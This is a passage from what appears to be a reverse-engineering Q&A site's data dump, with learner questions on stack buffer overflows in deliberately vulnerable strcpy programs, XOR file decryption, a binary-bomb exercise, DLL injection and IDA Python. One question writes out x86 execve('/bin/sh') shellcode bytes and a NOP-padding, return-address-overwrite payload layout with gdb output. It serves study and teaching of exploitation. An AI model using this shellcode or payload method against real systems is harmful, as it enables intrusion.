  <row Id="11029" PostTypeId="1" CreationDate="2015-10-05T17:13:26.577" Score="1" ViewCount="638" Body="&lt;p&gt;I know that there are lot of (good) tutorials regarding this topic, but after reading them, I really cant follow their thoughts (e.g.: &lt;a href=&quot;http://phrack.org/issues/49/14.html&quot; rel=&quot;nofollow&quot;&gt;Smashing The Stack For Fun And Profit&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The problem is that we don't know where in the memory space of the &#xA;  program we are trying to exploit the code (and the string that follows&#xA;  it) will be placed.  One way around it is to use a JMP, and a CALL &#xA;  instruction.  The JMP and CALL instructions can use IP relative&#xA;  addressing,  which means we can jump to an offset from the current IP&#xA;  without needing  to know the exact address of where in memory we want&#xA;  to jump to.  If we  place a CALL instruction right before the&#xA;  &quot;/bin/sh&quot; string, and a JMP  instruction to it, the strings address&#xA;  will be pushed onto the stack as  the return address when CALL is&#xA;  executed.  All we need then is to copy the  return address into a&#xA;  register.  The CALL instruction can simply call the  start of our code&#xA;  above.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Given the following &lt;em&gt;&quot;crackme&quot;&lt;/em&gt; (&lt;em&gt;this example is used as demo, you can skip it and read the question below)&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;string.h&amp;gt;&#xA;&#xA;void funktion(char *args) {&#xA;    char buffer[250];&#xA;    strcpy(buff, args);&#xA;}&#xA;&#xA;int main(int argc, char *argv[]) {&#xA;    if (argc &amp;gt; 1)&#xA;        funktion(argv[1]);&#xA;    else&#xA;        printf(&quot;Kein Argument!\n&quot;);&#xA;&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Target:&lt;/strong&gt; I want to execute a very basic shellcode within that process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Vulnerability:&lt;/strong&gt; Classical potential Stack-Bufferoverflow, due to misuse of &lt;code&gt;strcpy(...)&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Required Information:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) info frame 0&#xA;Stack frame at 0xffffd300:&#xA; eip = 0x8048449 in funktion (stack_bof2.c:7); saved eip = 0x8048474&#xA; called by frame at 0xffffd330&#xA; source language c.&#xA; Arglist at 0xffffd2f8, args: args=0xffffd575 &quot;A&quot;&#xA; Locals at 0xffffd2f8, Previous frame's sp is 0xffffd300&#xA; Saved registers:&#xA;  ebp at 0xffffd2f8, eip at 0xffffd2fc&#xA;(gdb) print/x &amp;amp;buffer&#xA;$1 = 0xffffd1f6&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The &lt;code&gt;buffer&lt;/code&gt; starts at &lt;code&gt;0xffffd1f6&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;The &lt;code&gt;R&lt;/code&gt;eturn &lt;code&gt;I&lt;/code&gt;instruction &lt;code&gt;P&lt;/code&gt;ointer (&lt;code&gt;RIP&lt;/code&gt;) is located at &lt;code&gt;0xffffd2fc&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;The offset of the &lt;code&gt;RIP&lt;/code&gt; from the &lt;code&gt;buffer&lt;/code&gt;'s first element is &lt;code&gt;262 bytes&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Methodical Approach:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The &lt;code&gt;RIP&lt;/code&gt; has to be overwritten with &lt;code&gt;buffer&lt;/code&gt;s first element's address &lt;code&gt;0xffffd1f6&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;The &lt;em&gt;shellcode&lt;/em&gt; has to be placed in the &lt;code&gt;buffer&lt;/code&gt; location and should not exceed a length of &lt;code&gt;261 bytes&lt;/code&gt;, because from the &lt;code&gt;262th byte&lt;/code&gt; on, the &lt;code&gt;RIP&lt;/code&gt; is being overwritten.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question:&lt;/strong&gt; I don't know why all sources state &lt;em&gt;we don't know where in the memory space of the program we are trying to exploit the code&lt;/em&gt;. I mean, I know it. It's obviously the &lt;code&gt;buffer&lt;/code&gt;, where the shellcode is placed in. So the &lt;code&gt;RIP&lt;/code&gt; has to point to it. No &lt;code&gt;JMP&lt;/code&gt;, &lt;code&gt;CALL&lt;/code&gt; and &lt;em&gt;relative addressing&lt;/em&gt;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://drive.google.com/file/d/0BxV4F9km7MRVU0lQUjVfcHJOSEE/view?usp=sharing&quot; rel=&quot;nofollow&quot;&gt;Downloadlink&lt;/a&gt; of the &lt;em&gt;crackme&lt;/em&gt;.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="13755" LastEditorUserId="13755" LastEditDate="2015-10-05T17:25:03.250" LastActivityDate="2015-10-05T18:50:18.837" Title="Problem to understand execution of payload (shellcode)" Tags="|c++|c|exploit|gcc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11031" PostTypeId="2" ParentId="11029" CreationDate="2015-10-05T18:50:18.837" Score="-2" Body="&lt;p&gt;The reason that we don't know the address, is that with &lt;a href=&quot;https://en.wikipedia.org/wiki/Address_space_layout_randomization&quot; rel=&quot;nofollow&quot;&gt;ASLR&lt;/a&gt; the program can be loaded at a different address each time the program is run.  Thus, if you reboot your os, the program may get loaded at a different &lt;a href=&quot;https://en.wikipedia.org/wiki/Virtual_address_space&quot; rel=&quot;nofollow&quot;&gt;Virtual Address&lt;/a&gt;.  &lt;/p&gt;&#xA;" OwnerUserId="2426" LastActivityDate="2015-10-05T18:50:18.837" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11032" PostTypeId="2" ParentId="1698" CreationDate="2015-10-05T19:03:36.707" Score="-1" Body="&lt;p&gt;I have seen one of this companies in China, I have seen a lot of microscopes, so I assume the decapsulating the chip and do some modifications on the chip. &lt;/p&gt;&#xA;" OwnerUserId="13769" LastActivityDate="2015-10-05T19:03:36.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11033" PostTypeId="1" AcceptedAnswerId="11036" CreationDate="2015-10-06T00:35:43.403" Score="0" ViewCount="10806" Body="&lt;p&gt;I've a binary data files which are encrypted by a simple &lt;a href=&quot;https://en.wikipedia.org/wiki/XOR_cipher&quot; rel=&quot;nofollow&quot;&gt;XOR cipher&lt;/a&gt; using a given key at offset &lt;code&gt;+0x88&lt;/code&gt; (which is &lt;code&gt;0x80&lt;/code&gt; long), then the data (&lt;code&gt;+0x108&lt;/code&gt;) is compressed by &lt;code&gt;lzo1x&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would be the most efficient way of decrypting such files?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Preferably by using some command-line utilities (where I can specify the input offsets) or some script (without too much coding)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would be the right approach?&lt;/p&gt;&#xA;" OwnerUserId="12021" LastEditorUserId="12021" LastEditDate="2015-10-06T09:38:35.613" LastActivityDate="2015-10-06T11:36:11.170" Title="How to decrypt data in binary file by XOR operator using a given key at specific offset?" Tags="|linux|decryption|decompress|xor|command-line|" AnswerCount="1" CommentCount="6" ClosedDate="2015-10-06T15:36:48.130" ContentLicense="CC BY-SA 3.0" />
  <row Id="11034" PostTypeId="2" ParentId="11026" CreationDate="2015-10-06T08:40:11.547" Score="3" Body="&lt;p&gt;Software defined radio tools could be used for this. &lt;a href=&quot;http://gnuradio.org/redmine/projects/gnuradio/wiki&quot; rel=&quot;nofollow&quot;&gt;GNUradio&lt;/a&gt; has a simple block based user interface thats good for experimenting with different demodulation techniques. It will allow you to build patches for the demodulation and get playback from files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finding out what the modulation is might be a harder thing to do though. For this you could look at the signal in the frequency domain with graphical tools like baudline or some GNUradio modules. Learning to recognize modulations from their frequency domain representations is something that is best learned by experience. Wikipedia and HAM radio sites are a good source for information on different modulation techniques.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One good place for starting out on recognizing modulations is the &lt;a href=&quot;http://www.sigidwiki.com/wiki/Signal_Identification_Guide&quot; rel=&quot;nofollow&quot;&gt;sigidwiki&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The signal might also be digital. In that case you could check out logic analyzer software like sigrok.&lt;/p&gt;&#xA;" OwnerUserId="13554" LastEditorUserId="13554" LastEditDate="2015-10-30T06:13:53.857" LastActivityDate="2015-10-30T06:13:53.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11036" PostTypeId="2" ParentId="11033" CreationDate="2015-10-06T08:59:59.513" Score="1" Body="&lt;p&gt;Use &lt;code&gt;dd&lt;/code&gt; to extract the data what you need, e.g. (using bash syntax):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dd if=foo.dat bs=1 skip=$((0x88)) count=$((0x80)) of=xorkey.bin&#xA;dd if=foo.dat bs=1 skip=$((0x108)) of=data1.bin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then convert it using simple Python code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3&#xA;&#xA;def str_xor(data, key):&#xA;    for i in range(len(data)):&#xA;        data[i] ^= key[i % len(key)]&#xA;    return data&#xA;&#xA;key  = bytearray(open('xorkey.bin', 'rb').read())&#xA;data = bytearray(open('data1.bin',  'rb').read())&#xA;encoded = str_xor(data, key)&#xA;open(&quot;data1.bin.xor&quot;, &quot;wb&quot;).write(encoded)&#xA;decoded = str_xor(data, key)&#xA;open(&quot;data1.bin.xor.xor&quot;, &quot;wb&quot;).write(decoded)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then install &lt;code&gt;lzop&lt;/code&gt; tool which offers compression/decompression of the LZO1X algorithms (install via: &lt;code&gt;apt-get&lt;/code&gt;/&lt;code&gt;brew&lt;/code&gt; &lt;code&gt;install lzop&lt;/code&gt;), e.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lzop -dc data1.bin.xor &amp;gt; data1.out&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12021" LastEditorUserId="12021" LastEditDate="2015-10-06T11:36:11.170" LastActivityDate="2015-10-06T11:36:11.170" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11037" PostTypeId="1" CreationDate="2015-10-06T10:58:55.700" Score="1" ViewCount="1101" Body="&lt;p&gt;I have an assignment for reverse engineering a binary. The function I'm up to takes a string input and reads one character at a time. It is as follows (push/pop registers removed):&#xA;&lt;pre&gt;&lt;code&gt;&#xA; 8048b6e: mov    $0x8049ee9,%esi &#xA; 8048b73: movzbl (%esi),%edx ; (%esi) = 0x654A6167&#xA; 8048b76: test   %dl,%dl&#xA; 8048b78: je     8048bb2 &#xA; 8048b7a: mov    0x8(%ebp),%ebx&#xA; 8048b7d: mov    $0x16,%edi&#xA; 8048b82: movzbl (%ebx),%eax&#xA; 8048b85: sub    $0x61,%eax&#xA; 8048b88: cmp    $0x19,%al&#xA; 8048b8a: ja     8048b97 &#xA; 8048b8c: mov    %edi,%ecx&#xA; 8048b8e: sub    %al,%cl&#xA; 8048b90: mov    %ecx,%eax&#xA; 8048b92: jns    8048b97 &#xA; 8048b94: add    $0x1a,%eax&#xA; 8048b97: add    $0x61,%eax&#xA; 8048b9a: cmp    %al,%dl&#xA; 8048b9c: je     8048ba3 &#xA; 8048b9e: call   8048e18 &#xA; 8048ba3: add    $0x1,%esi&#xA; 8048ba6: movzbl (%esi),%edx&#xA; 8048ba9: test   %dl,%dl&#xA; 8048bab: je     8048bb2 &#xA; 8048bad: add    $0x1,%ebx&#xA; 8048bb0: jmp    8048b82 &#xA;&lt;/pre&gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm having a little trouble understanding the logic of one part (8048b85 onwards) so I converted it to C&#xA;&lt;pre&gt;&lt;code&gt;&#xA;eax = *ebx;                                 // movzbl (%ebx),%eax&#xA;eax -= 97;                                  // sub    $0x61,%eax&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// cmp    $0x19,%al&#xA;// ja     8048b97 &amp;lt;phase_3+0x32&amp;gt;&#xA;if((unsigned)(eax &amp;amp; 0xFF) &amp;lt; 25)&#xA;{&#xA;  ecx = edi;                                // mov    %edi,%ecx&#xA;  int cl = (eax &amp;amp; 0xFF) - (ecx &amp;amp; 0xFF);     // sub    %al,%cl&#xA;  ecx &amp;amp;= cl;&#xA;  eax = ecx;                                // mov    %ecx,%eax&#xA;&#xA;  if(cl &amp;gt;= -127 &amp;amp;&amp;amp; cl &amp;lt; 128)                // jns    8048b97&#xA;  {&#xA;    eax += 0x1A;                              // add    $0x1a,%eax&#xA;  }&#xA;}&#xA;eax += 97;                                  // add    $0x61,%eax&#xA;if((eax &amp;amp; 0xFF) != (edx &amp;amp; 0xFF))            // cmp    %al,%dl&#xA;{&#xA;  trigger_bomb();                           //  call   8048e18 &amp;lt;trigger_bomb&amp;gt;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/pre&gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if what I converted to is correct. The first value being compared is 0x67 which is g in ascii which wont set the flag for ja as 0x19 &gt; 0x67 - 0x61. If I try 0x67 - 0x1A as the input, since it's unsigned comparison it will never be &amp;lt; 25 as it will overflow back to 236. I thought then I would need to use a negative number so that if it overflows, it would go 0x67 but since the input is ascii I'm not sure that it is possible to input a negative value. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is where am I going wrong in my logic? I'm not looking to be given the answer since I will need to figure out the other 3 values, but what I'm trying just doesn't seem to be correct. Any pointers/advice would be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thankyou&lt;/p&gt;&#xA;" OwnerUserId="13773" LastEditorUserId="13773" LastEditDate="2015-10-06T11:08:58.067" LastActivityDate="2015-10-06T15:06:41.007" Title="Assembly - Binary Bomb Confusion" Tags="|assembly|x86|binary|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11038" PostTypeId="1" CreationDate="2015-10-06T11:00:23.393" Score="1" ViewCount="149" Body="&lt;p&gt;Good evening, fellow experts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm fiddling around with &lt;em&gt;something&lt;/em&gt; and right now I'm stuck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to modify the behaviour of an application (Windows 7, 64bit).&#xA;Therefore, I inject a DLL into the running process to spawn a new thread and then dynamically figure out the address of a certain function I intend to call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To call it, I've got a function pointer typedef for comfort reasons. It looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;typedef ReturnType (*certain_function)(void* this);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;ReturnType&lt;/em&gt; is a class which I don't know.&#xA;I need to pass the returned value of type &lt;em&gt;ReturnType&lt;/em&gt; to another function. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;typedef void (*another_function) (ReturnType);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;ReturnType neither is a primitive type nor a pointer, it's a class I don't got the definition for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't need to work with the class, hence I dont really need to know what it looks like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My question is:&lt;/strong&gt;&#xA;Obviously, I've got to make my own defintion of &lt;em&gt;ReturnType&lt;/em&gt;, like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class ReturnType {&#xA;    public:&#xA;        uint8_t padding[?];&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But how precise does it have to be? Can I just use a insanely large value for &lt;em&gt;?&lt;/em&gt; that definitly would offer enough memory for the class object, or does the size have to be exact? How is Return-by-Value/Call-by-Value done on ASM level? Complete object on the stack?&lt;/p&gt;&#xA;" OwnerUserId="13775" LastActivityDate="2016-04-03T22:53:50.260" Title="Return by Value/Call by Value internals" Tags="|c++|dll-injection|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11039" PostTypeId="2" ParentId="11037" CreationDate="2015-10-06T11:11:40.453" Score="1" Body="&lt;p&gt;The &lt;code&gt;0x61&lt;/code&gt; is a well-known value in the ASCII table it corresponds to the &lt;code&gt;a&lt;/code&gt; character. And, in fact, when you encounter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;8048b85: sub    $0x61,%eax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It usually means that you are shifting a character from the usual printable characters intervals down to the unprintable characters values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I didn't take a deep look at your code, but I really suspect that what is done here is about encoding an ASCII text into a set of unprintable characters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, it is just a wild guess (taken in less than 5 minutes). So, beat me if I am wrong ! :-)&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2015-10-06T11:11:40.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11041" PostTypeId="2" ParentId="11037" CreationDate="2015-10-06T15:06:41.007" Score="2" Body="&lt;p&gt;The problem was sadly my own stupidity.. First issue, &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int cl = (eax &amp; 0xFF) - (ecx &amp; 0xFF);&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Has the arguments around the wrong way (dest = dest - source not dest = source - dest)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And second was my confusion about the JNS instruction. I misinterpreted it as signed byte not the sign flag thus,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(cl &gt;= -127 &amp;&amp; cl &amp;lt; 128)&lt;/code&gt;&lt;/pre&gt; &#xA;&#xA;&lt;p&gt;should have been written as&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(cl &amp;lt; 0)&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After a week of trying to work this out the answer was rather annoying :)&lt;/p&gt;&#xA;" OwnerUserId="13773" LastActivityDate="2015-10-06T15:06:41.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11042" PostTypeId="1" AcceptedAnswerId="11064" CreationDate="2015-10-06T16:14:30.410" Score="0" ViewCount="3988" Body="&lt;p&gt;I am trying to get a shellcode, exploiting a C program with a &lt;code&gt;strcpy()&lt;/code&gt; function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have found out that I need 68 bytes to start writing on the &lt;code&gt;EIP&lt;/code&gt;. So, if I write 72's by &lt;code&gt;EIP&lt;/code&gt; register is &lt;code&gt;0x41414141&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want is to insert a 23 bytes shellcode for a x86 OS. So I know that I need this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;68 A bytes - 23 shellcode bytes:  45 &lt;code&gt;NOPs&lt;/code&gt;. &lt;/li&gt;&#xA;&lt;li&gt;23 bytes Shellcode.&lt;/li&gt;&#xA;&lt;li&gt;4 bytes for the &lt;code&gt;EIP&lt;/code&gt; register, pointing the start of the shellcode.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I don't know how to carry this out. This is my program:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;string.h&amp;gt;&#xA;&#xA;void cambiarEIP() {&#xA;    printf(&quot;\n Has cambiado el valor del EIP, enhorabuena\n&quot;);&#xA;}&#xA;&#xA;int main(int argc, char * argv[]) {&#xA;    char buf[64];&#xA;&#xA;    if(argc == 1) {&#xA;        printf(&quot;Uso: %s entrada\n&quot;, argv[0]);&#xA;        return -1;&#xA;    }&#xA;&#xA;    strcpy(buf,argv[1]);&#xA;    printf(&quot;%s\n&quot;, buf);&#xA;&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to insert this as a parameter: &lt;code&gt;45As+shellcode+EIP&lt;/code&gt; DIR.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I get with the GDB when passing 71 bytes as a parameter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; Program received signal SIGSEGV, Segmentation fault.&#xA; 0x00414141 in ?? ()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And those are my registers:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) i r&#xA;eax            0x0  0&#xA;ecx            0xb7fbc4e0   -1208236832&#xA;edx            0xb7fbd360   -1208233120&#xA;ebx            0xb7fbbff4   -1208238092&#xA;esp            0xbffff4a0   0xbffff4a0&#xA;ebp            0x41414141   0x41414141&#xA;esi            0x0  0&#xA;edi            0x0  0&#xA;eip            0x414141 0x414141&#xA;eflags         0x10246  [ PF ZF IF RF ]&#xA;cs             0x73 115&#xA;ss             0x7b 123&#xA;ds             0x7b 123&#xA;es             0x7b 123&#xA;fs             0x0  0&#xA;gs             0x33 51&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know that I need something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./shell \x41\*45 + &quot;\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69&quot;&#xA;          &quot;\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80&quot; + Shellcode location&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How to carry this out?&lt;/p&gt;&#xA;" OwnerUserId="13778" LastEditorUserId="53" LastEditDate="2015-10-12T12:34:58.417" LastActivityDate="2015-11-09T20:47:56.373" Title="Strcpy BufferOverflow get shellcode location for EIP" Tags="|assembly|gdb|shellcode|register|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11043" PostTypeId="2" ParentId="8765" CreationDate="2015-10-06T17:30:33.463" Score="0" Body="&lt;p&gt;You can check the tutorial on this link. It explains how to debug with both gdb and IDA Pro: &lt;a href=&quot;http://www.aldeid.com/wiki/Category:Architecture/Android#tab=Android_Remote_debugging&quot; rel=&quot;nofollow&quot;&gt;http://www.aldeid.com/wiki/Category:Architecture/Android#tab=Android_Remote_debugging&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13779" LastActivityDate="2015-10-06T17:30:33.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11044" PostTypeId="1" AcceptedAnswerId="11106" CreationDate="2015-10-06T18:06:52.613" Score="4" ViewCount="2328" Body="&lt;p&gt;I'm trying to automate  disassembly of a firmware image using IDA Pro 6.5 and IDA Python. One of the process I want to implement is to locate strings and create a data segment around them.&lt;/p&gt;&#xA;&lt;p&gt;Using the GUI, I have little issue doing so. However when using the &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idapython_docs/idautils.Strings.StringItem-class.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;idautils.Strings()&lt;/code&gt;&lt;/a&gt; API call, I can retrieve a list of &lt;code&gt;StringItem&lt;/code&gt; objects, but I fail to access the actual string data with &lt;code&gt;str()&lt;/code&gt; or &lt;code&gt;unicode()&lt;/code&gt;. Below is the failing function, which is taken from &lt;a href=&quot;https://code.google.com/p/idapython/source/browse/trunk/examples/ex_strings.py?r=344&quot; rel=&quot;nofollow noreferrer&quot;&gt;IDA Python Google Code archive&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;def find_strings():&#xA;    s = idautils.Strings(False)&#xA;    s.setup(strtypes=Strings.STR_UNICODE | Strings.STR_C)&#xA;    for i, v in enumerate(s):&#xA;        if v is None:&#xA;            print(&amp;quot;Failed to retrieve string index %d&amp;quot; % i)&#xA;        else:&#xA;            print(&amp;quot;%x: len=%d type=%d index=%d-&amp;gt; '%s'&amp;quot; % (v.ea, v.length, v.type, i, str(v)))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;When ran into IDA, the following error is reported:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Traceback (most recent call last):&#xA;  File &amp;quot;&amp;lt;string&amp;gt;&amp;quot;, line 1, in &amp;lt;module&amp;gt;&#xA;  File &amp;quot;&amp;lt;string&amp;gt;&amp;quot;, line 8, in find_strings&#xA;TypeError: 'StringItem' object is not callable&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;When replacing the &lt;code&gt;str(v)&lt;/code&gt; argument with the constant &lt;code&gt;aaa&lt;/code&gt; in the &lt;code&gt;print&lt;/code&gt; function, I get a list of &lt;code&gt;StringItem&lt;/code&gt; objects without any problem:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Python&amp;gt;find_strings()&#xA;208e: len=8 type=3 index=0-&amp;gt; 'aaa'&#xA;21b0: len=55 type=0 index=1-&amp;gt; 'aaa'&#xA;229d: len=6 type=0 index=2-&amp;gt; 'aaa'&#xA;22c5: len=5 type=0 index=3-&amp;gt; 'aaa'&#xA;22d3: len=33 type=0 index=4-&amp;gt; 'aaa'&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If I attempt to use the &lt;code&gt;unicode()&lt;/code&gt; function instead, I get the following error:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Python&amp;gt;find_strings()&#xA;208e: len=8 type=3 index=0-&amp;gt; '&#xA;Traceback (most recent call last):&#xA;  File &amp;quot;&amp;lt;string&amp;gt;&amp;quot;, line 1, in &amp;lt;module&amp;gt;&#xA;  File &amp;quot;&amp;lt;string&amp;gt;&amp;quot;, line 8, in find_strings&#xA;TypeError: coercing to Unicode: need string or buffer, NoneType found&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;From my understanding, it seems that the &lt;code&gt;StringItem&lt;/code&gt; contains no strings for an unknown reason (or an issue with the plugin, specific version of Python maybe?), however they are displayed in the GUI.&lt;/p&gt;&#xA;&lt;p&gt;I'm seeking advice on either what I'm doing wrong, or an alternative way to extract the strings using the IDApython plugin. Thanks&lt;/p&gt;&#xA;&lt;h2&gt;Updates&lt;/h2&gt;&#xA;&lt;p&gt;The code above appears valid after adding the missing parenthesis as mentioned in the comments. However this was only a typo in the post and not the source of the issue. The &lt;code&gt;find_strings&lt;/code&gt; worked fine in other typical binaries. Further proof is that by using the &lt;code&gt;idc.GetString(self.ea, self.length, self.type)&lt;/code&gt; also returned &lt;code&gt;NoneType&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Diff mentioned that the &lt;code&gt;get_ascii_contents2&lt;/code&gt; is failing and thus returning &lt;code&gt;null&lt;/code&gt;, which is very likely the cause. What is unclear is why the function is failing, while the GUI succeeds in locating most of the strings.&lt;/p&gt;&#xA;&lt;p&gt;The first string at 0x208E is a trash Unicode string. The string at 0x21B0 is an actual ASCII string composed of 37 chars. I cannot post the complete string due to disclosure/legal issues. Notice that when displayed in the hex editor, the byte order of the ASCII view is inverted for an unknown reason. The bitness of the overall firmware is 16bit.&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;434F 5059 5249 4748 5420 A920 ... 4544 2000 0000 : OCYPIRHG T ¬ ... DE.&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Finally, note that the function &lt;code&gt;MakeStr&lt;/code&gt; works without any issue. I have the following code, when used at 0x21B0, will successfully create a string within a data segment:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;def create_string(self, _startea, _endea, _segname=&amp;quot;.const&amp;quot;, _unicode=False):&#xA;        &#xA;        if (SegStart(_startea) == idc.BADADDR):&#xA;            self.create_data_segment(_startea, _endea, &amp;quot;.const&amp;quot;)&#xA;        else:&#xA;            segtype = GetSegmentAttr(_startea, SEGATTR_TYPE)&#xA;            if (segtype != IDAEngine.SEG_TYPE_DATA):&#xA;                DelSeg(_startea, 0)&#xA;                self.create_data_segment(_startea, _endea, _segname)&#xA;        &#xA;        result = MakeStr(_startea, _endea)&#xA;        if (result == IDAEngine.FAIL):&#xA;            print &amp;quot;[-] Failed to create a string at 0x{:x} to 0x{:x}.&amp;quot;.format(_startea, _endea)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;At this point, I believe the structure of the firmware is to blame (combination of bitness, lack of symbols and an obsolete but supported microprocessor), however I couldn't pinpoint the exact issue. For now, since I can use 